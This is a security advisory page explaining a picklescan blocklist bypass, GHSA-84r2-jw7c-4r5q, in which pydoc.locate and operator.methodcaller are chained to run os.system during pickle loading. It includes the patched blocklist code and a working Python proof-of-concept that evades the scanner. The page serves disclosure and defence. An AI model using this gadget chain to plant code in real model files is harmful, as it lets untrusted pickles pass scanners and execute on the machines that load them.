CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-84R2-JW7C-4R5Q

Picklescan Security Bypass: Remote Code Execution via pydoc.locate

Alon Barad
Alon Barad
Software Engineer

Mar 1, 2026·6 min read·24 visits

Executive Summary (TL;DR)

Picklescan versions < 0.0.33 contain a critical bypass in their allowlist mechanism. By chaining `pydoc.locate` and `operator.methodcaller`, attackers can execute arbitrary code within a scanned pickle file, rendering the scanner ineffective. Users should upgrade to version 0.0.33 immediately.

A critical security bypass vulnerability exists in the `picklescan` library prior to version 0.0.33, allowing for arbitrary code execution. The library, designed to statically analyze Python pickle files for malicious content, utilized an incomplete blocklist of dangerous globals. Attackers can leverage the `pydoc.locate` function and `operator.methodcaller` class—both previously permitted—to dynamically resolve restricted modules (such as `os`) and execute commands. This effectively circumvents the security controls intended to prevent deserialization attacks.

Vulnerability Overview

Picklescan is a static analysis tool widely used in Machine Learning (ML) pipelines to inspect Python pickle files (and PyTorch models) for malicious code before loading them. The Python pickle format allows the execution of arbitrary code via the GLOBAL opcode, which imports and executes callables. Picklescan attempts to mitigate this risk by parsing the pickle bytecode stream and comparing referenced globals against a predefined list of safe and unsafe modules.

The vulnerability, identified as GHSA-84r2-jw7c-4r5q, represents a fundamental failure in this blocklisting strategy. While the scanner successfully blocked direct references to high-risk modules like os and subprocess, it failed to account for indirect resolution mechanisms available in the Python standard library. Specifically, the pydoc module—which was not fully blocked—provides the locate function, capable of importing arbitrary modules by string name.

This oversight allows an attacker to construct a "gadget chain"—a sequence of allowed function calls that ultimately results in the execution of forbidden code. By bypassing the static analysis, a malicious pickle file can pass as "safe" while containing a payload that executes immediately upon deserialization by a consumer trusting the scanner's verdict.

Root Cause Analysis

The root cause of this vulnerability lies in an incomplete denial list (CWE-184) within the picklescan.scanner module. The scanner operates by intercepting the GLOBAL opcode during the pickle parsing process. It checks the module and class names against a set of rules. If a module is not explicitly blocked, or if a specific function within a module is not flagged, the scanner permits it.

Prior to version 0.0.33, the scanner's configuration for the pydoc module was insufficiently restrictive. While it may have blocked specific sub-components, it did not block pydoc.locate. This function takes a string argument (e.g., "os" or "subprocess") and returns the corresponding Python object. This behavior effectively acts as a proxy for the import statement, which the scanner logic is designed to restrict.

Additionally, the scanner permitted operator.methodcaller. This class creates a callable object that, when invoked with an object as an argument, calls a specific method on that object. When combined, pydoc.locate allows the attacker to retrieve a reference to a restricted module (like os), and operator.methodcaller allows the attacker to execute a function on that module (like system), all without ever directly referencing os.system in the pickle stream in a way the scanner recognizes.

Code Analysis

The vulnerability existed in how src/picklescan/scanner.py defined its _unsafe_globals dictionary. The fix required expanding this dictionary to capture the exploitation primitives and improving the logic for handling wildcard blocks on submodules.

Vulnerable Logic (Conceptual): The scanner checked globals against a list. If pydoc was not wildcard-blocked (*), the scanner allowed access to functions not explicitly listed as unsafe. Since locate was missing from the unsafe set, it was permitted.

Patched Logic (Commit 70c1c6c): The patch introduces comprehensive blocking for pydoc and specific operator functions. It also improves the recursive resolution of parent modules to ensure submodules of blocked packages are also caught.

# src/picklescan/scanner.py
 
_unsafe_globals = {
    # ... existing rules ...
    
    # PATCH: Explicitly block dangerous operator functions
    "operator": {
        "attrgetter", 
        "itemgetter", 
        "methodcaller", # <--- Previously allowed, now blocked
    },
 
    # PATCH: Wildcard block for the entire pydoc module
    "pydoc": "*",       # <--- Captures pydoc.locate
    
    # PATCH: Additional hardening
    "ctypes": "*",
    "pty": "*",
}
 
# Improved wildcard logic for submodules
if unsafe_filter is None and "." in g.module:
    module_parts = g.module.split(".")
    # Iteratively check parents: a.b.c -> check a, then a.b
    for i in range(1, len(module_parts)):
        parent_module = ".".join(module_parts[:i])
        if _unsafe_globals.get(parent_module) == "*":
            unsafe_filter = "*"
            break

The key change is the wildcard assignment to pydoc. This ensures that any attempt to access pydoc.locate, pydoc.pipepager, or any other function in that namespace is immediately flagged as dangerous.

Exploitation Methodology

To exploit this vulnerability, an attacker must generate a pickle file that constructs a malicious object graph. The goal is to execute os.system('cmd') without the byte stream containing the literal string os in the module position of a GLOBAL opcode.

The Gadget Chain:

  1. Resolve os: The attacker uses pydoc.locate('os'). This returns the os module object. The scanner sees GLOBAL 'pydoc' 'locate', which was allowed.
  2. Prepare Execution: The attacker uses operator.methodcaller('system', 'id'). This creates a callable object that, when called with an argument x, executes x.system('id'). The scanner sees GLOBAL 'operator' 'methodcaller', which was allowed.
  3. Trigger: The pickle stream applies the methodcaller object to the os module object retrieved in step 1.

Proof of Concept:

import pickle
import pydoc
import operator
 
class Exploit:
    def __reduce__(self):
        # 1. Create a callable that runs .system('id') on its argument
        exec_system = operator.methodcaller('system', 'id')
        
        # 2. Resolve the 'os' module using pydoc.locate
        #    Note: pydoc.locate is the function, ('os',) are the args
        resolve_os = (pydoc.locate, ('os',))
        
        # 3. Apply exec_system to the result of resolve_os
        return (exec_system, (resolve_os,))
 
payload = pickle.dumps(Exploit())
# When 'payload' is scanned by picklescan < 0.0.33, it passes.
# When loaded, it executes the 'id' command.

This payload effectively creates a functional equivalent of a standard RCE pickle but obscures the imports in a way that the static analysis rules failed to detect.

Impact Assessment

The impact of this vulnerability is Critical (CVSS 9.3). picklescan is often deployed as a gatekeeper in environments that ingest untrusted machine learning models (e.g., Hugging Face Hub scanners, internal model repositories, or CI/CD pipelines).

Security Implications:

  • Remote Code Execution (RCE): Successful exploitation grants the attacker arbitrary code execution with the privileges of the process loading the pickle file. This often leads to full system compromise.
  • Security Control Bypass: The vulnerability renders the scanner ineffective. Organizations relying on picklescan to filter user-submitted models would be operating under a false sense of security.
  • Supply Chain Risk: If an attacker can bypass the scan, they can introduce backdoored models into a registry, potentially affecting downstream users who trust the registry's "scanned" status.

Because the vulnerability requires no authentication and can be exploited remotely by simply uploading a file, the risk is acute for any public-facing service utilizing picklescan.

Official Patches

mmaitre314Commit 70c1c6c: Update unsafe globals list

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Affected Systems

picklescan < 0.0.33Systems using picklescan to verify untrusted pickle filesMachine Learning model pipelines utilizing picklescan

Affected Versions Detail

Product
Affected Versions
Fixed Version
picklescan
mmaitre314
< 0.0.330.0.33
AttributeDetail
CWECWE-184 (Incomplete List of Disallowed Inputs)
CVSS v4.09.3 (Critical)
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
Affected Componentscanner.py (Safe/Unsafe Globals Logic)

MITRE ATT&CK Mapping

T1204.002Malicious File
Execution
T1059.006Python Interpreter
Execution
T1027Obfuscated Files or Information
Defense Evasion
CWE-184
Incomplete List of Disallowed Inputs

Known Exploits & Detection

Research ContextProof of concept using pydoc.locate and operator.methodcaller

Vulnerability Timeline

Fix commit pushed to repository
2025-12-26
GHSA-84R2-JW7C-4R5Q published
2025-12-29
Version 0.0.33 released on PyPI
2025-12-29

References & Sources

  • [1]GitHub Security Advisory GHSA-84r2-jw7c-4r5q
  • [2]PyPI: picklescan
  • [3]Python Pickle Module Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 19 hours ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 20 hours ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 21 hours ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 22 hours ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
10 views•5 min read
•about 23 hours ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•about 24 hours ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read